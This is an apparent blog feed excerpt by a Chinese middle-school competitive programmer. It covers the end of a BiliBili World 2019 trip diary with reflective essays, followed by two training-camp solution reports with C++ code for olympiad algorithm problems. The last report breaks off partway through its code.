&lt;p&gt;然后就是展馆内部的信号问题，信号满格，上不了网，看起来是基站带宽炸了，Bilibili 应该也不是第一次办这种活动了，信号问题显然是可以举办方抢救掉的，但是没有任何措施……&lt;/p&gt;
&lt;p&gt;除了上面的几个，其他的地方都是十分优秀的（至少在我看来）&lt;/p&gt;
&lt;p&gt;谢谢 Bilibili 举办的这次活动！&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2019/08/IMG_20190816_134300-1024x768.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;碧蓝航线！&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;h3&gt;5.2 购买物品展示&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;没错我就是过来搞事的&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;这次下来彻底吃土&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2019/08/IMG_20190816_215737-768x1024.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2019/08/IMG_20190816_220040-768x1024.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2019/08/IMG_20190816_220455-768x1024.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2019/08/IMG_20190816_220637-1024x768.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;6 随笔 - 写于逛完 BiliBili World 2019 广州站之后&lt;/h2&gt;
&lt;h3&gt;随笔 1&lt;/h3&gt;
&lt;p&gt;有时我常常在想，如果我没有出生在新疆，而是在北京深圳广州，甚至上海会是怎么样&lt;/p&gt;
&lt;p&gt;自己的发展也许就不会如此畸形，也许知识面会更加广泛&lt;/p&gt;
&lt;p&gt;别的我不知道，至少在我这几次呆在广州，我可以很明显感受到，如果我从小生活在广州，我的整个人，可能连性格都不是现今这个样子&lt;/p&gt;
&lt;p&gt;新疆省队如果一开始就在内地学 Oi，那么他们一定都是 NOI 至少前 100 的人&lt;/p&gt;
&lt;p&gt;到底怎么做，才能打破，或者说是补上，这种从地区就开始的阶级差距呢&lt;/p&gt;
&lt;p&gt;但愿会有这样一天吧&lt;/p&gt;
&lt;h3&gt;随笔 2&lt;/h3&gt;
&lt;p&gt;总有人说，动画游戏，这些都是虚拟的，追逐他们是没有现实意义的&lt;/p&gt;
&lt;p&gt;可是现实又有什么意义的&lt;/p&gt;
&lt;p&gt;人有生老病死，国家有富强衰弱&lt;/p&gt;
&lt;p&gt;就连大自然都在不断的变化之中&lt;/p&gt;
&lt;p&gt;兴许只有我们心中的虚拟世界，才是对自己来说，唯一有着意义的东西吧&lt;/p&gt;
&lt;h3&gt;随笔 3&lt;/h3&gt;
&lt;p&gt;本来这个随笔不是这样子的，但是鉴于各种各样的原因，变成了这篇&lt;/p&gt;
&lt;p&gt;在逛完漫展前往广州南站的路上，CCF 在 NOIP 官网上发布了 NOIP 暂停的新闻&lt;/p&gt;
&lt;p&gt;我在看到的一瞬间，竟有一种终于要完了吗的心理，虽然很快就得知 NOIP 仅仅是要改名收费而已，却于心中久久不能平静&lt;/p&gt;
&lt;p&gt;不论 Oi 最后变成了什么，我依然感谢这一门竞赛&lt;/p&gt;
&lt;p&gt;是它我让知道了，诸多规矩不过是门槛，越过了门槛，便是海阔天空&lt;/p&gt;
&lt;p&gt;是它让我知道了，世间还有许许多多的事情，一切并非平稳向上，一切也并非黯然无光&lt;/p&gt;
&lt;p&gt;也是这门竞赛，让我能够见到计算机华丽的外表下的大脑，让我能够与这个国家内的一群顶尖人才们有着共同的兴趣，有着共同的话题，更高的视野&lt;/p&gt;
&lt;p&gt;也正是这门竞赛，让我能够在如此小小年龄，到过这个国家的各个地方，能够逛到这次的漫展，见到在新疆之外的广阔河山&lt;/p&gt;
&lt;p&gt;希望事情会朝着好的方向发展&lt;/p&gt;
&lt;h3&gt;随笔 4 阶段性总结&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;这也是中山纪念中学培训 生活日记的一部分&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;自上一次总结已经有一周了&lt;/p&gt;
&lt;p&gt;这一周补上了很多以前说不上熟练的知识点，并加强了巩固练习&lt;/p&gt;
&lt;p&gt;上一周所定立的目标基本完成&lt;/p&gt;
&lt;p&gt;经过对过去多天的总结，还有以下需要改进 / 改良的地方&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;运动方面还需继续加强&lt;/li&gt;
&lt;li&gt;注意力容易涣散，需要改正&lt;/li&gt;
&lt;li&gt;起床和睡眠时间需要更加严格&lt;/li&gt;
&lt;li&gt;加快效率&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;顺带这两天总有这个想法，加上一个长期任务吧&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;开始学习日语吧&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;愿能达成自己想要的结果&lt;/p&gt;
&lt;h2&gt;7 End&lt;/h2&gt;
&lt;p&gt;做为一名新疆的初中生，在进入展馆的一瞬间，鼻子就酸了起来&lt;/p&gt;
&lt;p&gt;在看演唱会的时候更是哭了出来&lt;/p&gt;
&lt;p&gt;很高兴自己能够跨越地域和时间，在这里与一群爱好相同的人相汇聚&lt;/p&gt;
&lt;p&gt;谢谢你们！&lt;/p&gt;
</content:encoded><category>share</category><author>woshiluo</author></item><item><title>中山纪念中学 Day 10 2019.08.10 解题报告 &amp; 题解</title><link>https://blog.woshiluo.com/posts/2019/08/%E4%B8%AD%E5%B1%B1%E7%BA%AA%E5%BF%B5%E4%B8%AD%E5%AD%A6-day-10-2019-08-010-%E8%A7%A3%E9%A2%98%E6%8A%A5%E5%91%8A-%E9%A2%98%E8%A7%A3/</link><guid isPermaLink="true">https://blog.woshiluo.com/posts/2019/08/%E4%B8%AD%E5%B1%B1%E7%BA%AA%E5%BF%B5%E4%B8%AD%E5%AD%A6-day-10-2019-08-010-%E8%A7%A3%E9%A2%98%E6%8A%A5%E5%91%8A-%E9%A2%98%E8%A7%A3/</guid><pubDate>Sat, 10 Aug 2019 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;T1 数学题 Math&lt;/h2&gt;
&lt;h3&gt;1 记录&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;真就数学题目呗&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;考场企图推正解，结果最后只推出了 60 分的，哭了&lt;/p&gt;
&lt;p&gt;正解参见 &lt;a href=&quot;https://blog.woshiluo.com/wp-content/uploads/2019/08/%E6%AC%A7%E5%87%A0%E9%87%8C%E5%BE%97%E7%AE%97%E6%B3%95%E7%9A%84%E5%BA%94%E7%94%A8.pdf&quot;&gt;欧几里得算法的应用.pdf&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;这是真的类欧几里得算法&lt;/p&gt;
&lt;p&gt;&amp;lt;!--more--&amp;gt;&lt;/p&gt;
&lt;h3&gt;2 Source&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;cstdio&amp;gt;

inline long long pf( long long x ) { return x * x; }

void calc( int a, int b, int c, int d, int &amp;amp;x, int &amp;amp;y ) {
    long long dot = a * c + b * d;

    if( dot &amp;lt; 0 ) {
        calc( a, b, -c, -d, x, y );
        y = - y;
        return ;
    }

    long long ab = a * a + b * b, cd = c * c + d * d;

    if( ab &amp;gt; cd ) {
        calc( c, d, a, b, y, x );
        return ;
    }
    if( ( dot * dot * 4 ) &amp;lt;= ab * cd ) {
        x = 1, y = 0;
        return ;
    }

    long long k = dot / ab;

    if( dot + dot &amp;lt;= ab * ( 2 * k + 1 ) ) {
        calc( a, b, c - k * a, d - k * b, x, y );
        x -= k * y;
        return ;
    }
    else {
        calc( a, b, c - ( k + 1 ) * a, d - ( k + 1 ) * b, x, y );
        x -= ( k + 1 ) * y;
        return ;
    }

}

int main() {
    freopen( &quot;math.in&quot;, &quot;r&quot;, stdin );
    freopen( &quot;math.out&quot;, &quot;w&quot;, stdout );
    int a, b, c, d, x = 0, y = 0;
    while( scanf( &quot;%d%d%d%d&quot;, &amp;amp;a, &amp;amp;b, &amp;amp;c, &amp;amp;d ) != EOF ) {
        calc( a, b, c, d, x, y );
        printf( &quot;%lld\n&quot;, pf( 1LL * a * x + 1LL * c * y ) + pf( 1LL * b * x + 1LL * d * y ) );
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;T2 挖宝藏 Treasure&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;咕了，两天后没更记得提醒我&lt;/p&gt;
&lt;p&gt;udp： 2019/08/11 鸽子已经被红烧了，组织放心&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;1 记录&lt;/h3&gt;
&lt;p&gt;考场上觉得是个暴搜，就没敢碰……&lt;/p&gt;
&lt;h3&gt;2 Solution&lt;/h3&gt;
&lt;p&gt;事实证明我还是 Too young, Too simple&lt;/p&gt;
&lt;p&gt;这道题目是 WC 2008 中一道题目的加强版&lt;/p&gt;
&lt;p&gt;在 $h = 1$ 的时候 头插 DP 联通性 DP 可解&lt;/p&gt;
&lt;p&gt;但是因为这道题目加强了&lt;/p&gt;
&lt;p&gt;所以 连通性 DP 只有部分分……&lt;/p&gt;
&lt;p&gt;正解是这样的&lt;/p&gt;
&lt;p&gt;定义 $f[i,j,k]$ 表示现在到达 $(i,j)$ ，$k$ 是一个压缩后的状态，其二进制第 $i$ 位表示第 $i$ 个宝藏是否取得，$f[i,j,k]$ 表示最优解&lt;/p&gt;
&lt;p&gt;转移方程显然可得&lt;/p&gt;
&lt;p&gt;$$
f[i,j,k] =
\begin{cases}
f[i - 1, j, k] + a[i,j]\
f[i + 1, j, k] + a[i,j]\
f[i, j - 1, k] + a[i,j]\
f[i, j + 1, k] + a[i,j]\
\min{f[i,j,t] + f[i,j,s] - a[i][j] | s \text{ and } t = k }
\end{cases}
$$&lt;/p&gt;
&lt;p&gt;这里的 $\text{and}$ 指按位和&lt;/p&gt;
&lt;p&gt;转移方程具有后效性，前 $4$ 个式子可以使用最短路算法松弛，后面一个式子可以预处理出来&lt;/p&gt;
&lt;p&gt;层与层之间怎么转移？&lt;/p&gt;
&lt;p&gt;多转压一个数，即&lt;/p&gt;
&lt;p&gt;$$
f[h,i,j,1] = f[h-1,i,j, 2^{k_i + 1} - 1]
$$&lt;/p&gt;
&lt;p&gt;复杂度玄学，$O(nm3^k)$&lt;/p&gt;
&lt;h3&gt;3 Source&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;cstdio&amp;gt;
#include &amp;lt;cstring&amp;gt;

#include &amp;lt;queue&amp;gt;

const int N = 25;
const int INF = 0x3f3f3f3f;

inline int Min( int a, int b ) { return a &amp;lt; b? a: b; }
inline int pow_2( int now ) { return 1 &amp;lt;&amp;lt; now; }
inline int full_bit( int now ) { return pow_2( now ) - 1; }

struct node {
    int x, y;
} tre[N][N];

struct que {
    int x, y;
};

std::queue&amp;lt;que&amp;gt; q;

int h, n, m, ans = INF;
int a[N][N][N], f[N][N][ 1 &amp;lt;&amp;lt; (13) ], p[N];
bool vis[N][N];
int dx[4] = { +1, -1, 0, 0 };
int dy[4] = { 0, 0, +1, -1 };

int main() {
    freopen( &quot;treasure.in&quot;, &quot;r&quot;, stdin );
    freopen( &quot;treasure.out&quot;, &quot;w&quot;, stdout );
    scanf( &quot;%d%d%d&quot;, &amp;amp;h, &amp;amp;n, &amp;amp;m );
    for( int i = 1; i &amp;lt;= h; i++ ) {
        for( int j = 1; j &amp;lt;= n; j ++ ) {
            for( int k = 1; k &amp;lt;= m; k ++ ) {
                scanf( &quot;%d&quot;, &amp;amp;a[i][j][k] );
            }
        }
    }
    for( int i = 1; i &amp;lt;= h; i ++ ) {
        scanf( &quot;%d&quot;, &amp;amp;p[i] );
        for( int j = 1; j &amp;lt;= p[i]; j ++ ){
            scanf( &quot;%d%d&quot;, &amp;amp;tre[i][j].x, &amp;amp;tre[i][j].y );
        }
        p[i] ++;
    }

    for( int z = 1; z &amp;lt;= h; z ++ ) {
        for( int x = 1; x &amp;lt;= n; x ++ ) {
            for( int y = 1; y &amp;lt;= m; y ++ ) {
                f[x][y][1] = ( ( z == 1 ) ? 0: f[x][y][ full_bit( p[ z - 1 ] ) ] ) + a[z][x][y];
                for( int i = 2; i &amp;lt; pow_2( p[z] ); i++ )
                    f[x][y][i] = INF;
            }
        }
        for( int i = 1; i &amp;lt; p[z]; i ++ ) {
            f[ tre[z][i].x ][ tre[z][i].y ][ pow_2(i) ] = a[z][ tre[z][i].x ][ tre[z][i].y ];
        }

        for( int s = 1; s &amp;lt; pow_2( p[z] ); s ++ ) {
//            head = tail = 0;
            for( int x = 1; x &amp;lt;= n; x ++ ) {
                for( int y = 1; y &amp;lt;= m; y ++ ) {
                    for( int t = s &amp;amp; ( s - 1 ); t; t = s &amp;amp; ( t - 1 ) )
                        f[x][y][s] = Min( f[x][y][s], f[x][y][t] + f[x][y][ s ^ t ] - a[z][x][y] );
                    if( f[x][y][s] &amp;lt; INF ) {
                        q.push( (que) { x, y } );
                        vis[x][y] = true;
                    }
                }
            }
            while( ! q.empty() ) {
                que top = q.front(); q.pop();
                for( int i = 0; i &amp;lt; 4; i++ ) {
                    que tmp = top;
                    tmp.x += dx[i], tmp.y += dy[i];
                    if( tmp.x &amp;lt;= 0 || tmp.x &amp;gt; n || tmp.y &amp;lt;= 0 || tmp.y &amp;gt; m )
                        continue;
                    if( f[ top.x ][ top.y ][s] + a[z][ tmp.x ][ tmp.y ] &amp;lt; f[ tmp.x ][ tmp.y ][s] ) {
                        f[ tmp.x ][ tmp.y ][s] = f[ top.x ][ top.y ][s] + a[z][ tmp.x ][ tmp.y ];
                        if( vis[ tmp.x ][ tmp.y ] == false ) {
                            vis[ tmp.x ][ tmp.y ] = true;
                            q.push( tmp );
                        }
                    }
                }
                vis[ top.x ][ top.y ] = false;
            }
        }
//        for( int i = 1; i &amp;lt;= n; i ++ ) {
//            for( int j = 1; j &amp;lt;= m; j ++ ) {
//                printf( &quot;%d &quot;, f[i][j][ full_bit( p[z] ) ] );
//            }
//            printf( &quot;\n&quot; );
//        }
    }

    for( int i = 1; i &amp;lt;= n; i++ ) {
        for( int j = 1; j &amp;lt;= m; j++ ) {
            ans = Min( ans, f[i][j][ full_bit( p[h] ) ] );
        }
    }

    printf( &quot;%d\n&quot;, ans );
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;T3 理想城市 City&lt;/h2&gt;
&lt;h3&gt;1 记录&lt;/h3&gt;
&lt;p&gt;考场上建出树来了&lt;/p&gt;
&lt;p&gt;但是统计方法略有问题&lt;/p&gt;
&lt;h3&gt;2 Solution&lt;/h3&gt;
&lt;p&gt;从某种程度上来说，也算是套路题了……&lt;/p&gt;
&lt;p&gt;首先是树上统计路径和&lt;/p&gt;
&lt;p&gt;对每条边，其贡献是左边节点数乘上右边节点数&lt;/p&gt;
&lt;p&gt;然后是进行横向的剖分，将处在同一行并连续的格子压缩成一个节点，如果不同行的两个连续段有公共边界，则将对应的两个节点连边。容易发处理后是个树结构，然后套上面就行了&lt;/p&gt;
&lt;h2&gt;3 Source&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;cstdio&amp;gt;
#include &amp;lt;cstring&amp;gt;

#include &amp;lt;map&amp;gt;
#include &amp;lt;algorithm&amp;gt;

const int N = 1e5 + 1e4;
const int mod = 1e9;

struct node {
    int x, y;
} a[N];

bool cmp_x( node a, node b ) {
    if( a.x == b.x )
        return a.y &amp;lt; b.y;
    return a.x &amp;lt; b.x;
}

bool cmp_y( node a, node b ) {
    if( a.y == b.y )
        return a.x &amp;lt; b.x;
    return a.y &amp;lt; b.y;
}

int n, cnt, ans, col[N], son[N], col_cnt;
std::map&amp;lt; std::pair&amp;lt; int, int &amp;gt;, int &amp;gt; mp;

// Graph Start
struct edge {
    int to, next;
} e[ N &amp;lt;&amp;lt; 1 ];
int ehead[N], ecnt;

inline void add_edge( int now, int to ) {
    ecnt ++;
    e[ecnt].to = to;
    e[ecnt].next = ehead[now];
    ehead[now] = ecnt;
}

inline void add_edge_maybe( int now, int to ) {
    if( e[ ehead[now] ].to == to )
        return;
    add_edge( now, to );
    add_edge( to, now );
}

void dfs( int now, int fa ) {
    //printf( &quot;%d %d\n&quot;, now, fa );
    for( int i = ehead[now]; i; i = e[i].next ) {
        if( e[i].to == fa )
            continue;
        dfs( e[i].to, now );
        son[now] += son[ e[i].to ];
        ans = ( ans + ( 1LL * son[ e[i].to ] * ( n - son[ e[i].to ] ) ) % mod ) % mod;
    }
}
// Graph End

int main() {
    freopen( &quot;city.in&quot;, &quot;r&quot;, stdin );
    freopen( &quot;city.out&quot;, &quot;w&quot;, stdout );
    scanf( &quot;%d&quot;, &amp;amp;n );
    for( int i = 1; i &amp;lt;= n; i++ ) {
        scanf( &quot;%d%d&quot;, &amp;amp;a[i].x, &amp;amp;a[i].y );
        mp[ std::make_pair( a[i].x, a[i].y ) ] = ++ cnt;
    }

    std::sort( a + 1, a + n + 1, cmp_x );

    for( int i = 1; i &amp;lt;= n; i++ ) {
        if( a[ i - 1 ].x == a[i].x &amp;amp;&amp;amp; a[ i - 1 ].y + 1 == a[i].y )
            son[ col[ mp[ std::make_pair( a[i].x, a[i].y ) ] ] = col[ mp[ std::make_pair( a[ i - 1 ].x, a[ i - 1 ].y ) ] ] ] ++;
        else
            son[ col[ mp[ std::make_pair( a[i].x, a[i].y ) ] ] = ++ col_cnt ] ++;
    }

    for( int i = 1; i &amp;lt;= n; i++ ) {
        if( mp.count( std::make_pair( a[i].x + 1, a[i].y ) ) ) {
            add_edge_maybe( col[ mp[ std::make_pair( a[i].x + 1, a[i].y ) ] ], col[ mp[ std::make_pair( a[i].x, a[i].y ) ] ] );
        }
    }

    dfs( 1, 0 );
    // Init
    ecnt = col_cnt = 0;
    memset( ehead, 0, sizeof( ehead ) );
    memset( son, 0, sizeof( son ) );
    memset( col, 0, sizeof( col ) );

    std::sort( a + 1, a + n + 1, cmp_y );

    for( int i = 1; i &amp;lt;= n; i++ ) {
        if( a[ i - 1 ].y == a[i].y &amp;amp;&amp;amp; a[ i - 1 ].x + 1 == a[i].x )
            son[ col[ mp[ std::make_pair( a[i].x, a[i].y ) ] ] = col[ mp[ std::make_pair( a[ i - 1 ].x, a[ i - 1 ].y ) ] ] ] ++;
        else
            son[ col[ mp[ std::make_pair( a[i].x, a[i].y ) ] ] = ++ col_cnt ] ++;
    }

    for( int i = 1; i &amp;lt;= n; i++ ) {
        if( mp.count( std::make_pair( a[i].x, a[i].y + 1 ) ) ) {
            add_edge_maybe( col[ mp[ std::make_pair( a[i].x, a[i].y + 1 ) ] ], col[ mp[ std::make_pair( a[i].x, a[i].y ) ] ] );
        }
    }

    dfs( 1, 0 );

    printf( &quot;%d\n&quot;, ans );
}
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>algorithm</category><author>woshiluo</author></item><item><title>中山纪念中学 Day 7 2019.08.07 解题报告 &amp; 题解</title><link>https://blog.woshiluo.com/posts/2019/08/%E4%B8%AD%E5%B1%B1%E7%BA%AA%E5%BF%B5%E4%B8%AD%E5%AD%A6-day-7-2019-08-07-%E8%A7%A3%E9%A2%98%E6%8A%A5%E5%91%8A-%E9%A2%98%E8%A7%A3/</link><guid isPermaLink="true">https://blog.woshiluo.com/posts/2019/08/%E4%B8%AD%E5%B1%B1%E7%BA%AA%E5%BF%B5%E4%B8%AD%E5%AD%A6-day-7-2019-08-07-%E8%A7%A3%E9%A2%98%E6%8A%A5%E5%91%8A-%E9%A2%98%E8%A7%A3/</guid><pubDate>Fri, 09 Aug 2019 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;T1 小 L 的数列&lt;/h2&gt;
&lt;h3&gt;1 记录&lt;/h3&gt;
&lt;p&gt;考场上推出来了&lt;/p&gt;
&lt;p&gt;没判 $ n &amp;lt; q $ 难受&lt;/p&gt;
&lt;p&gt;&amp;lt;!--more--&amp;gt;&lt;/p&gt;
&lt;h3&gt;2 Solution&lt;/h3&gt;
&lt;p&gt;显然，每个 $ f_i $ 都是等于下面的试子&lt;/p&gt;
&lt;p&gt;$$
\prod_{i=1}^k f_i^{b_i}
$$&lt;/p&gt;
&lt;p&gt;也就说，我们可以求 $b_i$&lt;/p&gt;
&lt;p&gt;根据费马小定理&lt;/p&gt;
&lt;p&gt;$$
a ^ {p -1 } \equiv 1 \pmod p
$$&lt;/p&gt;
&lt;p&gt;则显然&lt;/p&gt;
&lt;p&gt;$$
\begin{align}
a ^ {k \pm (p - 1)} &amp;amp; \equiv a ^ k \pmod p \
a ^ {k \bmod (p - 1) } &amp;amp; \equiv a ^ k \pmod p
\end{align}
$$&lt;/p&gt;
&lt;p&gt;即指数应当对 $ p - 1 $ 取模&lt;/p&gt;
&lt;p&gt;显然&lt;/p&gt;
&lt;p&gt;$$
f_{a&apos;,b&apos;} = \sum_{i = 1}^k f_{a&apos; - i,b&apos;} \times a_i
$$&lt;/p&gt;
&lt;p&gt;其中 $b&apos;$ 表示求 $b_{b&apos;}$&lt;/p&gt;
&lt;p&gt;矩阵优化即可&lt;/p&gt;
&lt;h3&gt;3 Source&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;#pragma GCC optimize(3,&quot;Ofast&quot;,&quot;inline&quot;)
#include &amp;lt;cstdio&amp;gt;
#include &amp;lt;cstring&amp;gt;

const int N = 210;
const int mod = 998244353;

inline int read() {
    register char c = 0; register int now = 0;
    while( c &amp;lt; &apos;0&apos; || c &amp;gt; &apos;9&apos; )
        c = getchar();
    while( c &amp;gt;= &apos;0&apos; &amp;amp;&amp;amp; c &amp;lt;= &apos;9&apos; ) {
        now = ( now &amp;lt;&amp;lt; 3 ) + ( now &amp;lt;&amp;lt; 1 ) + ( c - 48 );
        c = getchar();
    }
    return now;
}

inline int add( int a, int b, const int mod = mod ) {
    int t = a + b;
    return t &amp;gt;= mod? t - mod: t;
}
inline int mul( int a, int b, const int mod = mod ) {
    return ( 1LL * a * b ) % mod;
}

int n, m, ans = 1;
int b[N], f[N];

struct matrix {
    int f[N][N];
    matrix( int tmp = 0 ) {
        memset( f, 0, sizeof(f) );
        if( tmp != 0 ) {
            for( int i = 0; i &amp;lt;= 200; i++ )
                f[i][i] = tmp;
        }
    }
    int* operator[] ( int now ) { return f[now]; }
    matrix operator* ( matrix b )  {
        matrix res;
        for( int i = 1; i &amp;lt;= m; i++ ) {
            for( int j = 1; j &amp;lt;= m; j++ ) {
                for( int k = 1; k &amp;lt;= m; k++ ) {
                    res[i][j] = add( res[i][j], mul( this -&amp;gt; f[i][k], b[k][j], mod - 1 ), mod - 1 );
                }
            }
        }
        return res;
    }
} a, t;

matrix ksm( matrix a, int p ) {
    matrix res(1);
    while(p) {
        if( p &amp;amp; 1 )
            res = res * a;
        a = a * a;
        p &amp;gt;&amp;gt;= 1;
    }
    return res;
}

int ksm( int a, int p ) {
    if( p == 0 )
        return 1;
    int res = 1;
    while(p) {
        if( p &amp;amp; 1 )
            res = ( 1LL * res * a ) % mod;
        a = ( 1LL * a * a ) % mod;
        p &amp;gt;&amp;gt;= 1;
    }
    return res;
}

matrix miao( matrix a, matrix t ) {
    matrix res;
    for( int i = 1; i &amp;lt;= m; i++ ) {
        for( int j = 1; j &amp;lt;= m; j++ ) {
            res[1][i] = add( res[1][i], mul( a[1][j], t[j][i] , mod - 1 ), mod - 1 );
        }
    }
    return res;
}

int main() {
    freopen( &quot;seq.in&quot;, &quot;r&quot;, stdin );
    freopen( &quot;seq.out&quot;, &quot;w&quot;, stdout );

    n = read(), m = read();
    for( int i = 1; i &amp;lt;= m; i++ ) {
        b[i] = read();
    }
    for( int i = 1; i &amp;lt;= m; i++ ) {
        f[i] = read();
    }

    if( n &amp;lt;= m ) {
        printf( &quot;%d&quot;, f[n] );
        return 0;
    }

    for( int i = 1; i &amp;lt;= m; i++ ) {
        t[i][1] = b[i];
        if( i != 1 )
            t[i - 1][i] = 1;
    }

    matrix tmp = ksm( t, n - m );
    for( int i = 1; i &amp;lt;= m; i++ ) {
        a[1][i] = 1;
        a[1][i - 1] = 0;
        ans = mul( ans, ksm( f[ m - i + 1 ], miao(a, tmp)[1][1] ) );
    }

    printf( &quot;%d\n&quot;, ans );

    fclose(stdin);
    fclose(stdout);
    return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;T2 梦境&lt;/h2&gt;
&lt;h3&gt;1 记录&lt;/h3&gt;
&lt;p&gt;别说了，考场上全在肝 T1&lt;/p&gt;
&lt;h3&gt;2 Solution&lt;/h3&gt;
&lt;p&gt;网上太多的，这题都出烂了&lt;/p&gt;
&lt;p&gt;先将梦境转折点排序，然后按左端点排序所有区间，将所有梦境转折点尽可能匹配靠左的区间即可&lt;/p&gt;
&lt;p&gt;贪心正确性显然，不做证明&lt;/p&gt;
&lt;h3&gt;3 Source&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;cstdio&amp;gt;

#include &amp;lt;queue&amp;gt;
#include &amp;lt;algorithm&amp;gt;

const int N = 2e5 + 1e4;

int n, m, ans;
int t[N];

struct seq {
    int left, rig;
    bool operator&amp;lt; ( const seq b )const { return this -&amp;gt; rig &amp;gt; b.rig; }
} a[N];

std::priority_queue&amp;lt;seq&amp;gt; q;

bool cmp_int( int a, int b ) { return a &amp;lt; b; }
bool cmp_seq( seq a, seq b ) { return a.left &amp;lt; b.left; }

int main() {
    freopen( &quot;dream.in&quot;, &quot;r&quot;, stdin );
    freopen( &quot;dream.out&quot;, &quot;w&quot;, stdout );

    scanf( &quot;%d%d&quot;, &amp;amp;n, &amp;amp;m );
    for( int i = 1; i &amp;lt;= n; i++ ) {
        scanf( &quot;%d%d&quot;, &amp;amp;a[i].left, &amp;amp;a[i].rig );
    }
    for( int i = 1; i &amp;lt;= m; i++ ) {
        scanf( &quot;%d&quot;, &amp;amp;t[i] );
    }

    std::sort( a + 1, a + n + 1, cmp_seq );
    std::sort( t + 1, t + m + 1, cmp_int );

    int p = 1;
    for( int i = 1; i &amp;lt;= m; i++ ) {
        while( a[p].left &amp;lt;= t[i] &amp;amp;&amp;amp; p &amp;lt;= n )
            q.push( a[p] ), p ++;
        while( !q.empty() ) {
            seq tmp = q.top();
            q.pop();
            if( tmp.left &amp;lt;= t[i] &amp;amp;&amp;amp; tmp.rig &amp;gt;= t[i] ) {
                ans ++;
                break;
            }
        }
    }

    printf( &quot;%d&quot;, ans );

    fclose(stdin);
    fclose(stdout);
    return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;T3 树&lt;/h2&gt;
&lt;h3&gt;1 记录&lt;/h3&gt;
&lt;p&gt;不说了&lt;/p&gt;
&lt;h3&gt;2 Solution&lt;/h3&gt;
&lt;p&gt;这东西我调了一整天&lt;/p&gt;
&lt;p&gt;先想其在一条链上，我们将问题直接转化到序列上&lt;/p&gt;
&lt;p&gt;从 $[1,l]$中 到 $[r,n]$中 显然是不可达的&lt;/p&gt;
&lt;p&gt;我们可以把的转化到二维平面上，即 $x$ 坐标 $[1,l]$ ，$y$ 坐标 $[r,n]$ 的矩形&lt;/p&gt;
&lt;p&gt;然后依次添加，就是一道裸的矩形面积并问题，扫描线就行&lt;/p&gt;
&lt;p&gt;但是在树上呢？&lt;/p&gt;
&lt;p&gt;先用 DFN 序转化到数列上&lt;/p&gt;
&lt;p&gt;若 $(x,y)$ 不是父子关系照上&lt;/p&gt;
&lt;p&gt;若 $(x,y)$ 为父子关系，$x$ 为父亲的情况下， $y$ 的子树不可到达整棵树除 $x$ 包含 $y$ 的子树的子树&lt;/p&gt;
&lt;p&gt;然后但序列上的状况来做即可&lt;/p&gt;
&lt;h3&gt;3 Source&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;cstdio&amp;gt;

#include &amp;lt;algorithm&amp;gt;

inline int read() {
    register char c = 0; register int now = 0;
    while( c &amp;lt; &apos;0&apos; || c &amp;gt; &apos;9&apos; )
        c = getchar();
    while( c &amp;gt;= &apos;0&apos; &amp;amp;&amp;amp; c &amp;lt;= &apos;9&apos; ) {
        now = ( now &amp;lt;&amp;lt; 3 ) + ( now &amp;lt;&amp;lt; 1 ) + ( c - 48 );
        c = getchar();
    }
    return now;
}

inline int Min( int a, int b ) { return a &amp;lt; b? a: b; }
inline int Max( int a, int b ) { return a &amp;gt; b? a: b; }

const int N = 1e5 + 10;

int n, m, scnt;
long long ans;

// Edge Start
struct edge {
    int to, next;
} e[N &amp;lt;&amp;lt; 2];
int ehead[N &amp;lt;&amp;lt; 1], ecnt;
inline void add_edge( int now, int to ) {
    ecnt ++;
    e[ecnt].to = to;
    e[ecnt].next = ehead[now];
    ehead[now] = ecnt;
}
// Edge End

// Segment Tree Start
int tree[N &amp;lt;&amp;lt; 2], lazy[N &amp;lt;&amp;lt; 2];

inline void calc( int now, int left, int rig ) {
    if( lazy[now] )
        tree[now] = ( rig - left + 1 );
    else if( rig - left == 0 )
        tree[now] = 0;
    else
